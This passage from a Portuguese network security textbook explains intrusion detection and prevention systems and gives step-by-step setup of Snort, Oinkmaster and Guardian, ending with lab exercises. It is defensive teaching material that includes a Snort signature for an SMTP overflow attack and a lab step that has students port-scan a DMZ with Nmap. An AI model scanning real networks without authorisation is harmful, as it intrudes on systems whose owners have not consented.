por parte do fabricante ou da comunidade.
105
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
Quanto ao local de atuação
 1 Baseados em host: agem em cima de uma única máquina. Normalmente são instalados na 
própria máquina que se deseja proteger e monitoram chamadas do sistema operacional ou 
atividades de uma aplicação específica. Comumente chamados de Host-based IDS (HIDS).
 1 Baseados em redes: agem em cima de um segmento de rede. São instalados em uma 
máquina que faz parte do segmento de rede. Monitoram o tráfego no segmento de rede 
do qual a interface de monitoramento faz parte. Os IDSs de rede são chamados de NIDS. 
Um NIDS é capaz de detectar atividade suspeita em uma rede inteira que se encontra 
atrás dele, porém, como age no nível do sistema operacional, um HIDS é capaz de obter 
informações mesmo que elas não trafeguem pela rede. Em arquiteturas reais, é muito 
comum a combinação de NIDS e HIDS de modo a obter uma proteção mais completa.
Quanto à forma de atuação
 1 Reativos: agem após um evento malicioso. Podem inserir regras em um firewall acoplado 
ou tentar encerrar a conexão utilizando pacotes falsificados. É importante ressaltar que, 
em alguns ataques, a reação pode ser tardia demais. Existem ataques em que um pacote 
é suficiente para causar algum tipo de estrago. Nesses casos, no momento em que o IDS 
reagir ao ataque, será tarde demais.
 1 Passivos: não causam nenhuma alteração no ambiente. Fazem apenas registros dos 
eventos e notificações para os administradores. Uma vantagem de um IDS passivo é 
que ele não causa nenhuma interrupção na rede caso falhe, porém o tráfego malicioso 
deixará de ser detectado. Aqui temos uma aplicação inversa do princípio de fail safe.
 1 Ativos: agem ativamente em caso de evento malicioso. Os sistemas ativos são chamados 
de Sistemas de Prevenção de Intrusos ou IPS.
Exercício de fixação 1 e 
IDS
Explique no que consiste um IDS. 
Quanto ao local de atuação, como podemos dividir os IDS? Onde atuam?
Sistema de Prevenção de Intrusos (IPS)
qAtivos:
 1 Atuam normalmente em cima de tráfego de rede.
Vantagem:
 1 Possibilidade de bloquear um ataque a partir do seu primeiro pacote.
Desvantagem:
 1 Necessita ter capacidade de processamento suficiente.
Ação em caso de falha (fail safe):
 1 Liberar acesso. 
 1 Bloquear acesso.
106
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
O IPS (Intrusion Prevention System) se diferencia do IDS pelo fato de ser ativo, ou seja, inter-
fere diretamente nos eventos que passam por ele, diferente do IDS, que é passivo, isto é, 
apenas monitora os eventos, sem neles interferir. Os IPSs mais comuns são os de rede, que 
atuam em cima do tráfego de rede. Na figura abaixo, podemos diferenciar um IDS de um IPS, 
por meio da sua localização na rede.
IPS
IDS
Na Figura 5.1 podemos perceber que o tráfego passa diretamente pelo IPS, de modo que o 
sistema pode optar por não transmitir um tráfego adiante, caso suspeite que seja malicioso. 
Esse comportamento é diferente do comportamento do IDS, que apenas monitora o tráfego. 
Mesmo que o IDS tome uma ação, essa será reativa, pois não vai interferir no tráfego da 
rede. Uma vantagem clara dos IPSs é a possibilidade de bloquear um ataque a partir do seu 
primeiro pacote, o que pode ser fundamental para mitigá-lo, visto que em alguns ataques, 
basta um pacote para que o ataque seja bem-sucedido (lembre-se do ping da morte).Uma desvantagem do IPS é a sua necessidade de capacidade de processamento suficiente 
para analisar todos os pacotes que passam por ele, o que pode causar atrasos em casos 
de redes muito sobrecarregadas; isso não ocorre no IDS, que é passivo. Um IDS sobrecar-
regado, porém, não consegue analisar todos os pacotes que passam por ele, de modo a se 
tornar um IDS estatístico, pois analisa apenas uma porcentagem do tráfego. Em muitos IPSs 
comerciais, o fabricante indica a taxa de transferência máxima (troughput) que um determi-
nado IPS é capaz de suportar. Outra característica importante a ser considerada em um IPS 
é a ação em caso de falha. Um IPS onde ocorreu uma falha pode bloquear ou liberar todas 
as conexões que passam por ele. Essa decisão é capciosa e complexa, pois liberar todas 
as conexões pode permitir que um atacante acesse a rede protegida, e bloqueá-las pode 
causar um problema de disponibilidade. 
Exercício de fixação 2 e 
IPS
O que são IPS?
Como podemos diferenciar um IPS de um IDS?
Sistemas de Detecção de Intrusos em hosts (HIDS)
qHIDS agem em uma máquina específica realizando:
 1 Monitoramento.
 1 System calls.
 1 Logs de aplicação.
 1 Modificação em arquivos.
 1 Criação de processos. 
Figura 5.1 
Localização do IDS 
e IPS na rede.
107
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
qExemplos:
 1 OSSEC. 
 1 SAMHAIN.
 1 Tripwire.
 1 Osíris.
Na maior parte dos casos, quando falamos em IDS, estamos nos referindo aos sistemas de 
detecção de intrusos baseados em rede (NIDS), que são mais comuns. Um sistema baseado 
em rede é capaz de monitorar um segmento de rede e detectar tráfego malicioso destinado 
a qualquer máquina que se encontre atrás do segmento monitorado, criando uma proteção 
mais abrangente, porém limitada a informações obtidas através de pacotes enviados na rede. 
Como complemento aos NIDSs, existem sistemas de detecção que agem em uma máquina 
específica, monitorando elementos como chamadas ao sistema (system calls), logs de 
aplicação, modificação em arquivos ou registros, criação de processos, entre outros. São cha-
mados de HIDS (Host Intrusion Detection Systems). Um HIDS protege apenas a máquina onde 
esteja instalado, porém é capaz de obter informações que não trafegam na rede. 
Existem diversos tipos de HIDSs. Os mais simples monitoram questões simples de um 
ambiente computacional, como alterações em arquivos, uso excessivo de CPU, memória 
etc. Outros, mais complexos, se instalam como drivers ou módulos do kernel, monito-
rando elementos de baixo nível no sistema operacional, como chamadas ao sistema e 
acesso físico ao disco, entre outros. É comum a combinação de NIDS e HIDS em uma rede, 
de modo a monitorar tanto a rede, quanto as aplicações e sistemas operacionais. 
As tecnologias de IDS atualmente estão bastante sedimentadas, de modo que existem 
diversas ferramentas, livres e comerciais. Neste curso usaremos o Snort, considerado um 
dos melhores IDS open source do mercado. 
Exercício de fixação 3 e 
HIDS
Explique o que é um HIDS.
Snort 
qNIDS open source baseado em assinaturas com plugin estatístico (SPADE). Tem estrutura 
modular altamente customizável com plugins, disponível em diversas plataformas 
(arquitetura modular).
 1 Alertas
 2 Arquivos texto.
 2 Bases de dados.
 1 Armazenamento dos pacotes.
 2 FWGW1:/var/log/snort# ps aux | grep snort
 2 snort 3305 26.6 58.1 174664 149108 ? S<s 03:54 5:11 /usr/sbin/snort -m 
027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_
NET=[172.16.1.0/24] -i eth0
108
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
q 1 Controles de execução
 2 /etc/init.d/snort stop – encerra o Snort.
 2 /etc/init.d/snort start – inicia o Snort.
 2 /etc/init.d/snort restart – reinicia o Snort (aplica mudanças no arquivo de configuração).
O Snort é um NIDS open source, bastante conhecido. Ele é baseado em assinaturas, de 
modo que é necessário que ele seja constantemente atualizado para continuar sendo 
eficiente. Existe um plugin estatístico para o Snort, chamado SPADE, pouco usado. 
O Snort possui uma estrutura modular altamente customizável, de modo que diversos plugins e 
programas acessórios podem ser usados para expandir suas funcionalidades, como a possibi-
lidade de reagir a um alerta, a atualização automática das suas assinaturas e o gerenciamento 
de diversos sensores espalhados em uma ou mais redes. Por ter o código-fonte aberto, o Snort 
foi portado para plataformas como Linux e Windows. A figura a seguir apresenta os diferentes 
componentes do Snort, desde a captura do pacote na rede até o registro de um alerta ou log.
Internet Decodificador
de pacote
Detection EnginePreprocessadores
Alerta de saída ou 
registro de arquivo
Registro e 
sistema de alerta
Módulos de saídaPacote é descartado
O decodificador de pacote é responsável pela obtenção dos pacotes no segmento de rede 
monitorado. Os preprocessadores realizam diversos tipos de processamento em cima dos 
pacotes, com o objetivo de obter tráfego normalizado. Questões como fragmentação, uso 
de codificações diferentes e ofuscação de pacotes são tratadas nessa etapa. A seguir, o 
detection engine é responsável por compilar as regras (assinaturas) e testar os pacotes contra 
essas regras. O registro e sistema de alerta gera os registros do Snort e envia os alertas. 
Por fim, os módulos de saída exportam os alertas e registros para um arquivo ou banco de 
dados. A figura a seguir apresenta um exemplo de alerta gerado pelo Snort.
[**][1:2001669:2] BLENDING-EDGE Web Proxy Get Request[**]
[Classification: Potentially Bad Traffic][Priority 2]
09/22-04:09:54.54.944632 192.168.1.1:64570-> 192.168.2.33:80
TCP TTL:108 TOS:0x0 ID:17008 IpLen: 20 DgmLen: 454 DF
***AP***Seq: 0x478a75AC Ack: 0x4F338167 Win: 0x40B0 TcpLen: 20
[Xref=>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0951]
[Xref=>http://www.secutiryfocus.com/bid/1756]
[Xref=>http://www.whitehats.com/info/IDS474] 
Gerador da 
regra (GID) 
Código da 
regra (SID) 
Parâmetros 
de rede
Referências
Timestamp + IP + portas
Revisão
Descrição do alerta + classificação + prioridade
Figura 5.2 
Arquitetura Snort.
Figura 5.3 
Exemplo de alerta 
gerado pelo Snort.
109
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
Através da arquitetura modular do Snort, é possível a geração de alertas em arquivos 
texto, bases de dados, entre outros. Em conjunto com os alertas, é possível ainda o arma-
zenamento dos pacotes que causaram um determinado alerta, o que é importante para se 
determinar se um determinado alerta é legítimo, ou se é um falso-positivo. 
Há programas auxiliares ao Snort, que geram alertas em formatos mais úteis para um 
administrador, como BASE (Basic Analysis and Security Engine), Sguil (The Analyst Console 
for Network Security Monitoring) e OSSIM, considerado um SIEM (Security Information 
and Event Management ). Um SIEM é uma ferramenta centralizada de segurança, com o 
objetivo de concentrar as informações de segurança em uma única ferramenta. O OSSIM 
é um conjunto de ferramentas integradas, com um console gráfico completo. Muitas das 
ferramentas presentes no OSSIM foram ou serão apresentadas neste curso, como Snort, 
Nessus, Ntop e Nagios. O interessante do OSSIM é que ele é disponibilizado como uma 
imagem ISO, com todos os componentes instalados automaticamente, bastando apenas a 
sua inicialização através dessa ISO.
Instalação do Snort
A instalação do Snort, assim como a de outros programas open source, normalmente envolveria 
compilar o código-fontee instalá-lo na máquina em questão. Porém, no caso do Linux, a própria 
distribuição Debian, utilizada no nosso laboratório, provê o Snort já compilado, de modo que 
basta uma conexão com a internet e dois comandos para instalar a parte básica do Snort:
apt-get update
apt-get install snort
O primeiro comando atualiza a base de pacotes do Debian e o segundo comando efetiva-
mente instala a última versão do Snort disponível. É importante ressaltar que o Debian nem 
sempre disponibiliza as últimas versões dos programas, pois os desenvolvedores possuem 
um rígido processo de inclusão de novas versões, de modo que a versão disponibilizada 
normalmente é inferior à última versão disponível no site. Caso o aluno necessite de uma 
versão mais atualizada, recomenda-se utilizar o conjunto de pacotes unstable ou utilizar 
outra distribuição com atualizações mais frequentes, como o Ubuntu. 
Caso tudo corra bem, teremos o seguinte resultado:
FWGW1:~# apt-get install snort
Reading package lists... Done
Building dependency tree 
Reading state information... Done
The following extra packages will be installed:
 libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl
 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl
 libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl 
libltdl3
 libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2
 libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster
 Mais informações 
sobre os conjuntos 
de pacotes podem 
ser encontradas no 
Fórum Debian 
(Hibridizando o APT).
w
110
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 snort-common snort-common-libraries snort-rules-default
Suggested packages:
 libio-socket-ssl-perl snort-doc
The following NEW packages will be installed:
 libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl
 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl
 libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl 
libltdl3
 libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2
 libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster snort
 snort-common snort-common-libraries snort-rules-default
0 upgraded, 23 newly installed, 0 to remove and 0 not upgraded.
Need to get 5314kB of archives.
After this operation, 18.3MB of additional disk space will be used.
Do you want to continue [Y/n]? Y
[...]
Fetched 5314kB in 7s (737kB/s) 
Preconfiguring packages ...
Selecting previously deselected package mysql-common.
(Reading database ... 19042 files and directories currently installed.)
[...]
Processing triggers for man-db ...
Setting up mysql-common (5.0.51a-24+lenny4) ...
Setting up libmysqlclient15off (5.0.51a-24+lenny4) ...
Setting up libpcap0.8 (0.9.8-5) ...
Setting up libltdl3 (1.5.26-4+lenny1) ...
Setting up libprelude2 (0.9.18.1-1) ...
Setting up snort-common-libraries (2.7.0-20.4) ...
Setting up snort-rules-default (2.7.0-20.4) ...
Setting up snort-common (2.7.0-20.4) ...
Setting up snort (2.7.0-20.4) ...
Stopping Network Intrusion Detection System : snortNo running snort 
instance found (warning).
Starting Network Intrusion Detection System : snort (eth0 no /etc/
111
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
snort/snort.eth0.conf found, defaulting to snort.conf ...done).
Setting up libcompress-raw-zlib-perl (2.012-1lenny1) ...
Setting up libio-compress-base-perl (2.012-1) ...
Setting up libio-compress-zlib-perl (2.012-1) ...
Setting up libcompress-zlib-perl (2.012-1) ...
Setting up libfont-afm-perl (1.20-1) ...
Setting up libhtml-tagset-perl (3.20-2) ...
Setting up liburi-perl (1.35.dfsg.1-1) ...
Setting up libhtml-parser-perl (3.56-1+lenny1) ...
Setting up libhtml-tree-perl (3.23-1) ...
Setting up libhtml-format-perl (2.04-2) ...
Setting up libtimedate-perl (1.1600-9) ...
Setting up libmailtools-perl (2.03-1) ...
Setting up libwww-perl (5.813-1) ...
Setting up oinkmaster (2.0-2) ...
FWGW1:~# 
Algumas partes do resultado da instalação (representadas pelas linhas contendo [...]) foram 
suprimidas por questão de tamanho. Ao final da execução do comando, o Snort estará 
instalado e executando. Durante a instalação será perguntado o endereço da rede local, 
que corresponderá ao parâmetro HOME_NET. Esse parâmetro é importante, pois o tráfego 
que não se originar ou tiver como destino essa rede será ignorado pelo Snort. Caso queira 
monitorar todo o tráfego que passa pela interface de captura do IDS, configure HOME_NET 
como 0.0.0.0/0. 
Com o Snort instalado, podemos verificar se está em execução utilizando o comando ps 
no Linux: 
FWGW1:/var/log/snort# ps aux | grep snort
snort 3305 26.6 58.1 174664 149108 ? S<s 03:54 5:11 /
usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /
etc/snort/snort.conf -S HOME_NET=[172.16.1.0/24] -i eth0
Verifique que uma série de parâmetros são passados para o Snort automaticamente, por 
conta da instalação do Snort no Debian. Os principais serão descritos a seguir. 
qCaso tenha interesse em outros parâmetros do Snort, o comando man snort apresenta 
uma descrição de todos os parâmetros existentes:
 1 -D: modo daemon, executa o Snort como um serviço, de modo que ele ficará em 
constante execução até que seu processo seja finalizado. 
 1 -d: instrui o Snort a incluir os dados da camada de aplicação no pacote que será registrado.
 1 -l: indica o diretório onde os logs do Snort serão armazenados. No acaso, o diretório 
/var/log/snort conterá os registros de alertas e pacotes.
112
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
q 1 -u: indica o usuário que será utilizado para executar o Snort. Conforme o princípio 
do menor privilégio, não recomendamos que o Snort seja executado com direitos 
de administrador (root). 
 1 -g: indica o grupo utilizado para executar o processo do Snort.
 1 -c: indica o caminho do arquivo de configuração.
 1 -S: variável=valor ajusta a variável para o valor definido. Permite alteração em linha 
de comando de parâmetros do arquivo de configuração. Na execução acima, o 
parâmetro está ajustando a variável HOME_NET para o valor 172.16.1.0/24, definido 
durante a instalação. 
 1 -i: indica a interface que será utilizada para a captura de tráfego.
Alguns desses parâmetros podem ser ajustados no arquivo /etc/default/snort. Para controlar 
a execução do serviço do Snort, podemos utilizar os seguintes comandos:
 1 /etc/init.d/snort stop – encerra o Snort.
 1 /etc/init.d/snort start – inicia o Snort.
 1 /etc/init.d/snort restart – reinicia o Snort (aplica mudanças no arquivo de configuração).
Configuração do Snort
q 1 /etc/snort/snort.conf
 2 var RULE_PATH 
 3 Indica o caminho onde os arquivos de regras (assinaturas) se encontram.
 2 include $RULE_PATH/<arquivo>.rules 
 3 Inclui um arquivo de regras.
 2 # = comentário
A configuração do Snort reside no arquivo /etc/snort/snort.conf. Esse arquivo é extenso e 
contém uma série de parâmetros de configuração do Snort. Para efeito deste curso, serão 
vistos alguns parâmetros mais importantes. O aluno que desejar se aprofundar mais a res-
peito dos parâmetros de configuração do Snort pode buscar mais informações no manual 
da ferramenta.
 1 Variáveis (var) – configuram parâmetros do Snort, como a rede local, a rede externa, os ser-
vidores DNS, SMTP, HTTP, SQL, Telnet e SNMP. Configurar esses parâmetros pode reduzir 
significantemente a quantidade de falsos positivos no seu IDS, pois o Snort só alertará 
quando o destino efetivamentedispor do serviço indicado. A seguir alguns exemplos.
 2 var HOME_NET [192.168.1.0/24]
 2 var SMTP_SERVERS 172.16.1.20
 2 var EXTERNAL_NET any
 1 var RULE_PATH – indica o caminho onde os arquivos de regras (assinaturas) se encontram.
 1 include $RULE_PATH/<arquivo>.rules – inclui um arquivo de regras. Os arquivos de regras 
normalmente são divididos por categorias, de modo que seja fácil comentar as linhas cor-
respondentes para desabilitar as regras. Os comentários são feitos utilizando o caractere 
“#” no início da linha.
SNMP
Simple Mail Transfer 
Protocol. Protocolo de 
envio de mensagens de 
correio eletrônico.
113
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
Regras do Snort
q 1 Regras Sourcefire VRT Certified.
 1 Regras Sourcefire VRT (Vulnerability Research Team) Certified.
 1 Regras Emerging Threats. 
 1 Regras Emerging Threats Pro. 
Instalando regras:
 1 Copiar os arquivos para o diretório de regras.
 1 Referenciar no arquivo snort.conf (include <caminho do arquivo .rule>).
As regras do Snort são um elemento-chave na sua configuração. Sem regras, o Snort torna-se 
um mero analisador de pacotes. As regras são linhas de texto contendo instruções para o 
Snort localizar pacotes que contenham características específicas e informações acerca do 
alerta a ser gerado. Abaixo um exemplo de regra, que detecta um ataque específico para 
servidores de correio eletrônico (SMTP). 
alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:”SMTP 
RCPT TO overflow”; flow:to_server,established; content:”rcpt 
to|3A|”; nocase; isdataat:300,relative; pcre:”/^RCPT TO\x3a\s[^ \n]
{300}/ism”; reference:bugtraq,2283; reference:bugtraq,9696; 
reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;)
Observe as variáveis do arquivo snort.conf, as portas envolvidas (25 TCP) e a indicação da 
mensagem de alerta (parâmetro msg). 
As regras instaladas no Snort podem ser habilitadas ou desabilitadas, individualmente ou 
em grupo, inserindo comentários (#) nos arquivos de regra (extensão .rules) ou no próprio 
snort.conf, para bloquear um conjunto inteiro de regras. Muitas regras podem gerar muitos 
falsos positivos, então fazer um ajuste das regras é uma tarefa cansativa, porém indis-
pensável para que os registros de alerta sejam confiáveis e úteis. Um IDS que gera muitos 
alertas falsos facilmente acaba em desuso. Existem atualmente diferentes conjuntos de 
regras para o Snort, alguns pagos e outros gratuitos. 
A seguir uma descrição sobre os conjuntos mais comuns:
 1 Regras Sourcefire VRT (Vulnerability Research Team) Certified – regras fornecidas pela 
Sourcefire, empresa responsável pelo desenvolvimento do Snort. Necessitam de uma 
assinatura por parte do usuário.
 1 Regras Sourcefire VRT Certified (versão para usuários registrados) – regras gratuitas 
(snort-rules), fornecidas com defasagem de 30 dias em relação às regras comerciais, 
podem ser obtidas mediante registro no sítio. As regras se referem a versões específicas 
do Snort, portanto verifique a versão instalada antes de baixá-las.
 1 Regras Emerging Threats – regras comunitárias e gratuitas, desenvolvidas por voluntários. 
Apesar de gratuitas, as regras ET são muito eficientes e possuem um elevado índice de 
atualizações. O diretório open contém as regras para cada versão do Snort. 
 1 Regras Emerging Threats Pro – versão paga do ET, que custa 500 dólares por ano. 
Para instalar um novo conjunto de regras, basta copiar os arquivos para o diretório de 
regras do Snort (normalmente /etc/snort/rules) e referenciá-los no arquivo snort.conf 
(include <caminho do arquivo .rule>). 
114
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Oinkmaster
qCom atualização automática de regras, é instalado automaticamente no apt-get.
 1 Configuração (emerging threats).
Parâmetros adicionais:
 1 enablesid SID1, SID2.
 1 disablesid SID1, SID2.
Conforme foi dito, a atualização constante de regras é fundamental para o bom funciona-
mento de um IDS. Porém, dependendo do número de atualizações diárias e da quantidade 
de sensores, a tarefa de mantê-los atualizados pode ficar muito complexa. Com o intuito 
de facilitar a atualização de regras, foi criada uma ferramenta chamada Oinkmaster, que 
permite que a atualização seja feita de forma automática. 
A instalação do Oinkmaster é automaticamente realizada junto com o Snort, durante a exe-
cução do comando apt-get install. A configuração da ferramenta é bastante simples e consiste 
apenas em indicar no arquivo de configuração os parâmetros necessários e instalar um agen-
damento (cron) no ambiente para executar periodicamente a ferramenta. A seguir, os passos 
para a configuração do Oinkmaster para atualização das regras do projeto emerging threats. 
1. Edite o arquivo /etc/oinkmaster.conf e adicione a seguinte linha: 
http://www.emergingthreats.net/rules/emerging.rules.tar.gz 
Salve o arquivo. 
2. Verifique o funcionamento do Oinkmaster, executando-o na linha de comando:
/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o <diretório de saída>
3. Crie um novo diretório para não misturar os conjuntos de regras (ex: /etc/snort/rules2).
4. Configure o cron para executar o Oinkmaster periodicamente com o comando crontab –e. 
Exemplo para executar o Oinkmaster todos os dias às 5h30 da manhã:
30 5 * * * /usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/
snort/rules2
5. É necessário reiniciar o Snort após a atualização, então é interessante criar um script para 
realizar as duas tarefas e incluí-lo no cron. 
6. Adicione os arquivos de regras no seu snort.conf, utilizando as diretivas include 
<arquivo.rule>. Não se esqueça de especificar o caminho completo. 
O Oinkmaster possui parâmetros extras que podem ser inseridos no arquivo de configu-
ração. Seguem dois parâmetros importantes:
 1 enablesid SID1, SID2, ... – habilita automaticamente a regra identificada pelo SID. Um 
SID é um número único que identifica uma regra, que pode ser visto no parâmetro “sid:” 
presente na linha da regra. 
 1 disablesid SID1, SID2, ... – desabilita automaticamente a regra identificada pelo SID.
Cron
Sistema de agenda-
mento de tarefas de 
um ambiente Unix.
Saiba mais
Mais informações sobre 
o funcionamento do 
Oinkmaster podem 
ser obtidas no docu-
mento Installing and 
configuring OinkMaster, 
de Patrick Harper.
l
115
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
Guardian: um Snort reativo
qO Guardian é um script na linguagem Perl, que insere temporariamente regras de 
bloqueio em um firewall, a partir dos alertas gerados pelo Snort. Através do Guardian, 
a instalação de Snort passa a ter uma característica reativa. 
O Guardian não é instalado automaticamente na distribuição e deve ser baixado e instalado 
manualmente. Os passos a seguir instalam o Guardian e o integram com o firewall Iptables:
 1 Baixe a última versão do “Guardian Active Response for Snort” e o descompacte.
 1 Copie o arquivo de configuração do Guardian para o diretório /etc.
 1 Edite o arquivo e ajuste os seguintes parâmetros:
 2 Interface – interface onde serão bloqueados os pacotes maliciosos. Ajuste para a sua 
interface externa.
 2 HostGatewayByte – último octeto do endereço IP do gateway.
 2 AlertFile – local do arquivo de alertas do Snort.
 1 Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão ignorados 
(um por linha).
 1 Crie o arquivo /etc/guardian.target e inclua nele os endereços IP da máquina atual.
 1 Copie o arquivo guardian.pl para o diretório /usr/local/bin.
 1 Copie os scripts de bloqueio e desbloqueio referentes ao Iptablespara o mesmo diretório.
 2 cp scripts/iptables_unblock.sh /usr/local/bin/guardian_unblock.sh
 2 cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh
 1 Execute o Guardian com o seguinte comando: 
/usr/local/bin/guardian.pl –c /etc/guardian.conf
Snort-inline
qModo especial de funcionamento do Snort, integrado com o firewall Iptables/netfilter 
(snort como IPS). Funcionamento:
 1 Pacotes recebidos pelo Iptables são encaminhados para uma fila. 
 1 Snort-inline decide pelo encaminhamento.
Snort-inline é um modo especial de funcionamento do Snort, integrado com o firewall Iptables/
netfilter para funcionar como um IPS. Cada pacote recebido pelo Iptables é encaminhado para 
uma fila (queue), para ser processado pelo Snort-inline, que pode descartar pacotes de acordo 
com as suas regras, de modo que o pacote não é passado adiante pelo processo de roteamento 
do firewall. Opcionalmente podem ser gerados registros e alertas correspondentes.
Assim como qualquer IPS, a implementação do Snort-inline deve ser realizada com 
cuidado, pois caso a máquina onde se encontra o IPS fique sobrecarregada, ela pode 
impactar no desempenho da rede ou até tornar indisponível o segmento de rede 
atrás do IPS. 
Um dos principais usos no Snort-inline consiste no Projeto Honeynet (Honeynet Project). 
Ele foi utilizado como componente principal do honeywall roo. Uma honeynet consiste em 
uma rede com servidores especialmente construídos com o objetivo de atrair atacantes 
116
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
para a honeynet (daí o honey, “mel” em inglês). Dessa forma, um pesquisador de segurança 
consegue aprender com as técnicas empregadas pelo atacante. Uma honeynet é um tópico 
avançado e deve ser utilizada apenas por administradores experientes. 
Os responsáveis pelo projeto Snort-inline passaram a investir em um novo IDS/IPS open 
source, chamado suricata. Apesar de recente, ele possui objetivos ambiciosos, podendo vir 
a ser um novo padrão em IDS/IPS open source. As regras Emerging Treats também estão 
disponíveis para o Suricata da Open Information Security Foundation (OISF).
Bro Intrusion Detection System
O Bro IDS é um projeto open source de um sistema de detecção de intrusos baseado em 
rede. Forte concorrente do Snort, ele monitora de forma passiva o tráfego de rede em busca 
de atividades suspeitas. A sua análise inclui a detecção de ataques específicos (inclusive os 
definidos pelas assinaturas, mas também aqueles definidos em termos de eventos) e ativi-
dades incomuns (por exemplo, certo host conectar a determinados serviços ou falhas em 
tentativas de conexão).
Se o Bro detectar algo de interesse, pode ser configurado para gerar uma entrada de log, 
alertar o operador em tempo real, executar um comando do sistema operacional (por 
exemplo, para finalizar a conexão ou bloquear um host malicioso on-the-fly). Além disso, os 
arquivos de log detalhados do Bro podem ser facilmente utilizados pela ciência forense.
Para que esse aplicativo funcione corretamente, será necessário instalar os seguintes 
componentes na máquina Linux: Libpcap, Flex, Bison ou byacc, cabeçalhos e bibliotecas do 
BIND8, Autotools, OpenSSL, Libmagic, Libz, GnuPG, LibGeopIP e Google Perftools. 
HIDS
Existem diversas ferramentas que realizam detecção de intrusos com base em hosts. 
Podemos citar algumas, disponíveis na internet:
q 1 OSSEC: ferramenta bastante completa de HIDS, capaz de realizar análise de logs, 
verificação de integridade de arquivos, monitoramento de políticas, detecção de 
rootkits e alertas em tempo real, entre outros. Disponível para plataformas como 
Linux, MacOS, Solaris, HP-UX, AIX e Windows. 
 1 SAMHAIN: HIDS que provê verificação de integridade de arquivos e análise e monito-
ramento de arquivos de log. Ele foi projetado para monitorar múltiplas máquinas com 
diferentes sistemas operacionais, provendo registros centralizados e gerenciados. 
 1 Tripwire: ferramenta antiga de monitoramento de integridade de arquivos, muito 
usada para verificar se os arquivos de um sistema operacional foram modificados, 
o que pode ser um indício de comprometimento do servidor. 
 1 Osíris: ferramenta de monitoramento de alterações em máquinas capaz de moni-
torar mudanças no sistema de arquivos, lista de usuários e grupos e módulos de 
kernel. Suporta plataformas como Linux, BSD, Windows, AIX, Solaris e MacOS. 
Atua de forma centralizada, monitorando mudanças em diversas máquinas.
 
Mais informações sobre 
o projeto Honeynet 
podem ser encontradas 
em: http://www.
honeynet.org/
w
Saiba mais
Outro projeto interes-
sante de IPS é o HLBR, 
desenvolvido no 
Brasil disponível no 
sourceforge.
l
117
 
C
ap
ítu
lo
 5
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 5
Atividade 1 – Configuração básica do Snort
Configure o Snort na máquina gateway (FWGW1), e teste a sua configuração utilizando a 
ferramenta Nmap. 
Passo 1 Instale o Nmap no host Windows XP.
Passo 2 No host FWGW1, atualize a base de pacotes do apt-get com o repositório da 
internet e instale o Snort:
# apt-get update
# apt-get install snort
Quando for questionado pelo processo de instalação do Snort, defina como 
“Address Range Local”: 172.16.G.0/24,10.1.G.0/24
Passo 3 Por padrão, o apt-get configura o Snort para iniciar automaticamente apenas 
na interface eth0; para esta atividade vamos iniciar o Snort na interface eth1, 
que interliga com o host Windows XP. Para isso use o comando:
# /etc/init.d/snort start eth1
Passo 4 No host Windows XP, realize um scan na rede DMZ para encontrar todos os 
serviços publicados.
Passo 5 No host FWGW1, verifique os logs gerados no Snort:
# cat /var/log/snort/alert
Ou:
# tail –f /var/log/snort/alert
118
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Atividade 2 – Atualização de regras
Configure o Oinkmaster para atualizar automaticamente as regras, uma vez por hora. 
Utilize as regras Emerging Threats. 
Desafio: você consegue configurar o Oinkmaster para atualizar as regras VRT? Será neces-
sário se registrar no site do Snort e obter um Oinkcode. Pesquise na internet se é possível 
utilizar o Oinkmaster para atualizar mais de um conjunto de regras.
Passo 1 No host FWGW1, edite o arquivo de configuração do Oinkmaster a adicione 
a URL sugerida no texto.
# vi /etc/oinkmaster.conf
URL = http://www.emergingthreats.net/rules/emerging.rules.
tar.gz
Não se esqueça de comentar a linha URL: 
http://www.snort.org/dl/rules/snortrules-snapshot-2.2.tar.gz
Passo 2 No host FWGW1, teste a configuração do Oinkmaster realizada no passo anterior:
# mkdir /etc/snort/rules2
# /usr/sbin/oinkmaster -C /etc/oinkmaster.conf -o /etc/
snort/rules2
Inclua o parâmetro abaixo no arquivo /etc/snort/snort.conf:
include /etc/snort/rules2/emerging.rules
Passo 3 Crie um script para automatizar a execução do Oinkmaster e para reiniciar 
